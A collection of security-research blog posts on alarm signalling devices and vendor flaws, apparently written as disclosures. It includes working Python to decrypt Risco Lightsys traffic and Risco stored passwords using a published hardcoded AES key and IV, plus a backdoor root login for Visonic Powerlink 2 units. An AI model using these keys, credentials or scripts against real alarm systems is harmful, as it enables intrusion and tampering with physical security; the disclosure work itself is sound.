Reverse engineering a CSL Dualcom GPRS part 1 – preliminary research

After showing my wireless alarm reverse engineering work to a few installers, ARC operators and manufacturers, it became clear that many were interested in looking at signalling devices rather than alarms themselves.

A signalling device is the piece of equipment that communicates with an Alarm Receiving Centre (ARC) to signal status such as “I’m all good” or “I’m in alarm”. They are essential on any serious alarm system and are used on everything from high-end domestic installs to banks and security deposit centres.

It’s clear that a security hole in a signalling device could have huge repercusions.

There are many signalling devices available – BT Redcare, WebWayOne, CSL Dualcom to name a few. CSL Dualcom has a large portion of the market, and I happened across a pile of 15 used Dualcom GPRS units. This makes them a good place to start.

This series is going to be a bit different to others. I’ve always finished or mostly finished by research before publishing before. This time, I’m going to publish work as I do it. It might be more rambling and verbose, but hopefully it will give people a better idea of the amount and range of work involved.

What is a CSL Dualcom GPRS?

From promotional material:

DualCom GPRS G2, from CSL DualCom Limited, is an intruder alarm signalling device that uses both the Vodafone network and your telephone path to transmit intruder and personal attack signals at high speed. Once the alarm is confirmed as genuine, police are notified. Utlising two signalling paths ensures that DualCom dual-signalling will always have a back-up path in the event of an accidental or deliberate fault on either path.

Essentially, it’s a small box which receives signals from the alarm system, and communicates with the ARC over both a GPRS (mobile phone data) connection and either a telephone line or IP connection.

I’m not seeing phrases like “encryption” and “military grade”. This is a good thing really.

I’ve really not had much experience with GPRS so this should be interesting.

What’s in a Dualcom GPRS?

It’s a small, plastic box partially enclosing a PCB. There are screw terminals, two buttons, two 7-segment LED displays, and a socketed 8-pin EEPROM.

Dualcom GPRS detail

Dualcom GPRS detail

I haven’t seen a UI so simple for a very long time.

“NVM” means Non Volatile Memory i.e an EEPROM. These are still quite common on security equipment. You pull the EEPROM, program it in an external device, put it back in.

There’s also terminals on the side for connecting to the PSTN (telephone line), and a SIM card socket. Nothing out of the ordinary.

Let’s pop the cover off:

Annotated diagram

Annotated diagram of Dualcom GPRS

Some more detail:

  • The main processor is an NEC 78K0R/KF3, specifically a μPD78F1154. This is a 16bit processor with 128KB of flash, 8KB of RAM, ADCs, DACs, a load of IO, 4 UARTS, timers etc.
  • In addition to the socketed EEPROM , there is an additional SMD EEPROM.
  • A fairly large section of the board is for the PSTN modem.
  • The GPRS modem is a Wavecom GR64 module, which is connected via a 60pin interface.

What to look at next?

Next we need to see what information is available on the Internet about this device.

Hilarious still from CSL Dualcom’s NOC video

CSL Dualcom make their Network Operations Centre widely known.

When they posted a video, I thought I’d check them for sensitive information disclosure, like actual customer ICCIDs and chip numbers.

However, what I found was far funnier. On one of their own promotional videos, they show a close up of an member of staff using some kind of operations/support portal, but they are also logged into Hotmail.

Hotmail

To the left, the partially obscured tab says “o Be Loved?” – a dating site maybe?

Don’t let your staff use personal web email in your Network Operations Centre. This is idiocy.

Vulnerability in Risco Lightsys protocol encryption

During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.

This software communicates with alarm panels, sometimes over IP, sometimes over a mobile network. One of these panels is the Lightsys panel, which seems fairly common in the UK.

The encryption used by this protocol is token at best, and not suitable for securing communication across an untrusted network.

The protocol generates a psuedo-random sequence of numbers using a basic function. This is then XORed with the message to encrypt or decrypt.

Each panel has a “seed” that changes the encryption slightly. Because we have a partially known plaintext, you don’t need to know the seed to decrypt messages – it can just be determined. The seed tended to be the same across many panels.

numTable = [2, 4, 16, 32768]
PRNG_output = []

# This is the "Remote ID code" in the software
seed = 2

for i in range(0,255):
    bit = 0

    for j in range(0, 4):
        if (seed & numTable[j]) > 0:
            bit ^= 1

    seed = seed << 1 | bit
    PRNG_output.append(seed & 255)

# This has been captured from the network by tricking software into encrypting
# Message is 02RMT=1234 8EBC
# 02 is sequence number
# RMT is a command
# 1234 is the access code
msg = '353945620a804bc6dbe4b67ac0495503'.decode('hex')

plain = ''

for i in range(0, len(msg)):
    plain += chr(ord(msg[i]) ^ PRNG_output[i])

print "Decrypted message: %s" % plain

A further proof of concept was developed that can send and receive commands with alarms, leading to a denial-of-service condition. I am not disclosing this as it can cause harm and is not the root cause of the problem.

This was reported to Risco on 7th August. As of yet, they have not indicated if they wish to fix this issue.

Conclusion

  • Don’t roll your own encryption
  • If you have a key, make sure it has enough length to actually improve security

Open Risco support portal including private FTP credentials

During a routine pen-test of an alarm receiving centre, I was googling for default usernames and passwords of Risco software and alarms.

When doing this, I found an abandoned support portal “Riscopedia” which contained a number of valid credentials for FTP sites, along with other private documentation.

Creds

Whilst the Technical.Notes account appears to be shut down, there are still paths onto other FTP servers that look like they should be closed.

This was reported to Risco on 30th July via Twitter and email.

 

Backdoor root account on Visonic Powerlink 2 modules

During a routine pen-test of an alarm receiving centre, a repository of manufacturer firmware was found. This is often quite hard to get hold of, and I welcomed the opportunity to reverse some of these.

The Visonic Powerlink 2 firmware stood out due to it’s large size – this was almost certainly an embedded Linux system.

On unpacking the firmware, it was found that the units had an enabled account with root privileges called root2 with the password visonic. I discovered this by cracking the password file. However, once I had done this, someone pointed out that this was widely documented as early as 2011.

The system runs telnet on port 7523, and a web interface on port 80. Shodan has ~85 of these visible at the moment.

Once you have root access, you can arm and disarm the connected alarm, and capture images from any connected cameras.

In addition to this, for the firmware and single unit I was permitted access to, it was found it was transmitting status messages (armed/disarmed status, serial number) over a plaintext connection to http://myhome.visonic.com/ (212.179.58.186). We could not find anywhere in the firmware to turn this off.

They would be an ideal pivot or persistance node in a longer term pen-test.

 

 

 

Vulnerability in password storage in Risco Configuration Software

During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.

The software is backed by a SQL database called “ConfigurationSoftware” which contains a table called ut_Users with a column called PWD which stores passwords for users that can log into the system.

This PWD field appeared to be a base64 encoded string.

On further investigation, this password was stored in an encrypted form. This allows it to be recovered from the software, and doesn’t follow best practices of hashing passwords.

The encryption is AES-256 and uses a fixed key and IV which is hardcoded into the application.

Passwords were recovered from the database which, due to password re-use, allowed me to take control of the domain controller and website of the company. The password was of good complexity, so if hashing had been used, I would have been unlikely to have recovered this.

A Python script to decrypt the passwords is shown below.

from Crypto.Cipher import AES
from Crypto import Random
import base64

BS = 32
# PKCS #7
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

def encrypt(raw, key, iv ):
    raw = pad(raw)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return (cipher.encrypt(raw ))

def decrypt(enc, key, iv ):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc))

# Static and hardcoded
key = 'FKLe608FDsF5J6ZaKpTghjED7Hb80ALq'
iv = 'Sckt6DopykVCD9Lq'

# The default 123 password as installed
ciphertext = 'BQqwo4a87TvfJKv4af8h3g=='

print 'Password is %s' % decrypt(base64.b64decode(ciphertext), key, iv).decode('utf-16-le')

This was reported to Risco on 7th August. A fix is meant to be deployed at the beginning of November.

Conclusion

  • Hash, don’t encrypt your passwords.
  • Don’t hardcode encryption keys in your software
  • Don’t use the same password for domain admin as in a system of unknown quality
  • Have a security contact so it’s not painful to report issues

InSecurTek Monitoring

Update

The director of IT from Securtek got in touch via the contact form. They are working to fix these issues, and his response was measured and reasonable, especially in light of my rather inflammatory blog post.

Thank you for bringing this to our attention.  We will be taking steps immediately to correct this situation, both in the short-term and in the long-term.
– Bryan Watson, Director of IT, SecurTek Monitoring Solutions

Introduction

Another security industry website, another slew of basic mistakes.

SecurTek are a Canadian company who offer alarm monitoring. Even just a cursory glance at their system shows that they are ignoring basic security principles.

No HTTPS

The login page is lacking HTTPS. There is no excuse for this in 2015 for a commercial web service of any form.

No HTTPS

No HTTPS

Username enumeration

The login form responds different depending on if the user exists or not.

Username not found

Username not found

This might seem minor, but it massively facilitates brute-forcing usernames and passwords by removing one of the unknowns. Best practice is to indicate that you have entered an incorrect username or password.

Passwords are stored in the plain

The forgotten password functionality simply emails you the password you have already set.

Password in the plain

Password in the plain

This has several implications.

It means that your password is stored in a way in which it can be retreived. Whilst it may be encrypted, this encryption can be reversed, yielding a password. This is not good and nowhere near best practice. Passwords should be hashed at the bare minimum, which prevents them being recovered in this way.

Email is not a secure way of delivering a password. There is the potential for many people to see this password. With password re-use being common, obtaining the password for SecurTek could yield access to many other systems. A password reset mechanism should use a random token and be time-limited.

Conclusion

This is a 2-minute glance at security, and it’s shown two very serious issues and one reasonably serious. They aren’t subtle issues.

Would you trust a company with your alarm monitoring if they can’t do these things right?

You don’t need to read or agree to a EULA to extract binaries

Impero Software have sent a particularly dickish letter to @TheWack0lian after he raised a security vulnerability (unauthenticated user remote command execution) in their software.

Impero’s entire complaint seems to be that their End User License Agreement (EULA) has been breached. Explicitly stated in the letter is that @TheWack0lian must have agreed to the EULA to mess around with the software. Really?

Letter extract

Let me tell you a secret, Impero and Gateley Plc

If you make your software downloadable (link dead now), you don’t need to run the installer to see what is inside it.

Windows has built in tools that can unpack most MSI files. 7zip deals with the bulk of the rest. For those left, lessmsi will unpack them.

This exactly the route I took after I downloaded Impero’s software – simply unpacked it and started hacking.

Files in MSI

You could have handled this well, instead I know that there are now at least three 0-days out there for the Impero software.

Stop doing client-side password hashing

Right, this has come up enough to write a post about it.

Stop hashing passwords on the client-side and sending the hash in the clear. It is not a substitute for HTTPS!

Here is an example of this being done on the DSC Security website. Go to “Security Professional Login”, and you get a pop-up login box. It looks like JavaScript is involved.

Note that the login page is served over HTTP (not HTTPS). This doesn’t always mean that the login credentials are passed over HTTP though. Sometimes the HTTP form submits to a HTTPS page.

This is still bad from a security perspective as the attacker can deliver you a malignant login form that submits credentials to a server under his control.

Regardless, DSC aren’t doing anything over HTTPS – it’s all HTTP – so it is all sent in the plain. HTTPS is essentially free these days – there is no excuse to not use it.

That said, it appears that someone at DSC has realised that HTTP a bad idea, so they have implemented… a thingy. A thingy that does little to improve security.

Here is the query that they send when I entered test/test:

GET /index.php?o=login&user=test&pwd=098f6bcd4621d373cade4e832627b4f6&remember=yes HTTP/1.1

So that parameter pwd isn’t test. What is it?

Let’s look at the JavaScript powering the site.

function login() {
    el = document.getElementById("lusername");
    el2 = document.getElementById("lpassword");
    el3 = document.getElementById("remember");
    url = "/index.php?o=login&user=" + encode(el.value) + "&pwd=" + md5(el2.value);
    if (el3 && el3.checked)
    {
        url += "&remember=yes";
    }
    initObj();
    showWait();
    if (xmlhttp!=null) {
      xmlhttp.onreadystatechange=_login;
      xmlhttp.open("GET",url,true);
      xmlhttp.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" );
      xmlhttp.send(null);
    } else {
        url2 = "/index.php?o=login2&user=" + encode(el.value) + "&pwd=" + md5(el2.value);
        if (el3 && el3.checked)
        {
            url2 += "&remember=yes";
        }
        window.location=url2;
    }
}

Yes – it’s MD5ing the unsalted password test and submitting the hash.

A passive observer of the traffic can still just sniff a single login and re-use the hash to login to DSC. They don’t need to know the password.

A passive observer could obtain the password by cracking the MD5 hash. Because it is un-salted, the hash of can even be googled to find the password. Salting is essential when using a hash to store passwords.

Even if the attacker couldn’t get the password by passive observation and cracking, they could simply serve up a login page that submits the original password to a server under their control.

This isn’t the first, second, third, fourth or even fifth time I have seen this. It’s useless. Stop doing it!

Note that DSC are also passing sensitive parameters as GET rather than POST. This means that the hash is stored in your URL history, proxies between you and the server etc.

 

 

 

Subjects don’t need to be preserved in Certificate Signing Requests

I’ve been playing round with certificates, keys and Certificate Signing Requests (CSRs) whilst evaluating the security of an IoT solution.

I’ve had a longstanding misconception around CSRs and I thought I would document it here in case anyone else finds the same issue.

The purpose of a CSR is to request a certificate from a Certificate Authority (CA), where they sign your public key and a number of pieces of data called “subjects”. Normally these subjects, for HTTPS, are related to the domain.

The CSR in question looks like this:

root@kali:~# openssl req -in csr.req -text -noout
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: emailAddress=cybergibbon@test.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:ea:a9:04:df:20:63:6d:78:8d:a4:c3:8a:7e:b5:
                    a9:38:a7:1d:2a:75:20:90:45:2d:c9:9e:b3:08:18:
                    a9:59:d4:79:95:40:ef:cc:4f:2c:93:73:21:02:05:
                    9b:47:c4:9b:73:21:a8:fe:da:9c:2c:71:98:f5:49:
                    37:a7:28:a4:f5:14:6a:a0:91:dd:a7:87:63:d4:b4:
                    2a:aa:a6:9b:b2:a4:72:ab:91:58:2b:e5:6e:34:84:
                    05:ce:c8:dc:7f:3c:33:5f:d2:14:27:37:34:ee:aa:
                    58:29:de:5c:f5:b7:93:69:94:a9:20:02:84:fb:cd:
                    5e:04:43:56:df:c2:48:f7:41
                Exponent: 65537 (0x10001)
        Attributes:
            a0:00
    Signature Algorithm: sha1WithRSAEncryption
         01:e8:97:81:25:0b:b1:c5:9c:66:62:6f:0a:6a:00:b6:1d:6c:
         d9:17:50:20:16:42:54:4e:cb:30:c7:a3:35:bb:fd:22:a3:d6:
         73:5e:ea:2d:fb:50:39:3b:56:84:bc:3e:d1:cf:62:7c:03:b5:
         43:d7:5d:38:b8:cd:39:d1:89:09:23:44:d8:ef:17:ce:e3:5b:
         9d:2d:8a:4c:9e:45:81:a2:70:88:db:d5:aa:6c:7b:03:f2:2b:
         ee:b2:67:2f:62:3e:cf:d1:e2:fd:e4:d0:82:66:00:26:3a:6f:
         b8:f4:ff:e4:85:4f:de:d5:51:a6:a0:07:ef:33:ab:b5:d1:04:
         eb:18

This has a subject of an email address – cybergibbon@test.com and my public key. That whole lot is then signed with my private key. This allows the recipient of the CSR to verify that someone with the private key corresponding to the public key has added the data cybergibbon@test.com.

I thought the CA then signed the entire CSR, preserving the subject, and hence also my signature. It turns out that they can actually just re-write the subject and sign it – my signature is no longer involved!

Here is an example certificate received back from the CA:

root@kali:~# openssl x509 -in cybergibbon_at_test.com.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 35242 (0x89aa)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=DK, O=HackingTeam
        Validity
            Not Before: Jul  6 03:52:32 2015 GMT
            Not After : Jul  4 01:52:33 2025 GMT
        Subject: emailAddress=cybergibbons@test.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:ea:a9:04:df:20:63:6d:78:8d:a4:c3:8a:7e:b5:
                    a9:38:a7:1d:2a:75:20:90:45:2d:c9:9e:b3:08:18:
                    a9:59:d4:79:95:40:ef:cc:4f:2c:93:73:21:02:05:
                    9b:47:c4:9b:73:21:a8:fe:da:9c:2c:71:98:f5:49:
                    37:a7:28:a4:f5:14:6a:a0:91:dd:a7:87:63:d4:b4:
                    2a:aa:a6:9b:b2:a4:72:ab:91:58:2b:e5:6e:34:84:
                    05:ce:c8:dc:7f:3c:33:5f:d2:14:27:37:34:ee:aa:
                    58:29:de:5c:f5:b7:93:69:94:a9:20:02:84:fb:cd:
                    5e:04:43:56:df:c2:48:f7:41
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                49:85:CB:85:5F:EF:50:A6:2E:E1:B0:95:33:24:77:58:6C:70:C7:62
            X509v3 Authority Key Identifier: 
                keyid:65:F1:07:3D:58:53:F3:BE:1C:02:0C:B6:36:E6:3F:95:F5:60:33:E3

    Signature Algorithm: sha1WithRSAEncryption
         59:73:5f:2c:5c:19:2f:ec:db:3d:38:40:45:ed:72:d9:6b:dc:
         ac:2e:99:fa:db:ae:59:6f:aa:06:ab:73:4e:06:46:13:71:3f:
         81:2e:76:b3:4a:fb:82:cf:4c:d3:43:9f:f4:6f:08:5e:d6:22:
         44:c7:5d:e3:fa:5c:83:01:82:03:d5:10:74:17:0b:ed:4d:2f:
         4a:72:2e:63:6d:78:7d:2f:dc:62:8d:72:f8:96:05:61:ea:36:
         a4:b3:81:24:1e:62:12:04:48:f6:d1:ca:27:66:54:94:ec:24:
         ad:c3:aa:1a:e1:90:1c:f9:5c:ae:0e:ba:c9:94:fe:30:75:50:
         c1:a3:69:8f:13:25:8f:b1:81:45:08:b9:30:3d:26:9a:0a:6e:
         bc:74:97:6e:fb:2d:5f:86:21:b5:0c:b1:a0:47:e5:95:d4:24:
         8f:f8:ad:52:0b:a6:f7:54:f8:17:06:26:1e:57:47:36:48:49:
         a8:c6:50:a0:69:4a:c2:8f:35:5c:73:cd:5b:a7:d6:14:e3:30:
         c6:61:a0:dc:a2:c9:14:67:01:d3:f2:c6:bc:52:44:0e:bb:fc:
         60:69:c1:28:63:f7:9b:d6:f9:4c:d9:b7:3a:21:2c:93:7b:8c:
         e7:f8:ab:62:3c:be:19:d0:e0:94:86:58:71:b7:4f:a5:f6:a3:
         16:f8:0a:61

As you can see – there is no notion of my signature in there. The email of cybergibbon@test.com has been altered to cybergibbons@test.com by the CA. This is because my registered email is cybergibbons@test.com.

It’s not very important, but I was initially excited when the CA returned a certificate for an email which I wasn’t registered with as it could have led to an interesting vulnerability. It’s important to note that a certificate issued by a CA can be done so without the owner of the public key being aware.

cdraw